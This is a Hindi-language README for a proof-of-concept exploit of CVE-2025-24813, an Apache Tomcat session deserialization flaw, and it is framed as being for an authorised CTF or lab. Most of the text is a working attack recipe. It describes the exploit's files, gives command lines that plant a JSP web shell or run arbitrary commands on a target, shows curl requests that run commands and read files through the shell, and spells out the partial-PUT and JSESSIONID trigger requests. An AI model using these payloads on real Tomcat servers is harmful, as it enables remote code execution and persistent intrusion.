
java CVE के लिए सही payload
PoC एक अधिकृत CTF/लैब वातावरण के लिए है। यह CVE-2025-24813 का शोषण Tomcat सत्र फ़ाइल के आंशिक PUT लेखन के माध्यम से करता है, फिर JSESSIONID के साथ डिसीरियलाइज़ेशन ट्रिगर करता है।
requestsjava और javac)commons-collections-3.2.1.jarysoserial आवश्यक नहीं है।
poc_cve_2025_24813.py: Python wrapper जो जनरेशन, अपलोड और ट्रिगर को स्वचालित करता है।GenerateTomcatSessionPayload.java: CommonsCollections गैजेट युक्त एक मान्य Tomcat सत्र उत्पन्न करता है।commons-collections-3.2.1.jar: गैजेट की निर्भरता।sh.jsp: वैकल्पिक JSP शेल जो --drop-shell द्वारा तैनात किया जाता है।डिफ़ॉल्ट वेबरूट /opt/tomcat/webapps/ROOT में एक JSP शेल जमा करें:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
शेल जमा किए बिना सीधी कमांड निष्पादित करें:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
यदि वेबरूट अलग है:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
यदि JAR स्थानांतरित किया गया है, तो उसका पथ निर्दिष्ट करें:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
यदि --drop-shell सफल होता है:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServlet लिखने योग्य, सामान्यतः readonly=false।PersistentManager और FileStore के माध्यम से स्थायी सत्र।commons-collections।अपलोड के दौरान अपेक्षित व्यवहार अक्सर HTTP 409 Conflict होता है:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
फिर डिसीरियलाइज़ेशन निम्न के साथ ट्रिगर होता है:
Cookie: JSESSIONID=.<session-id>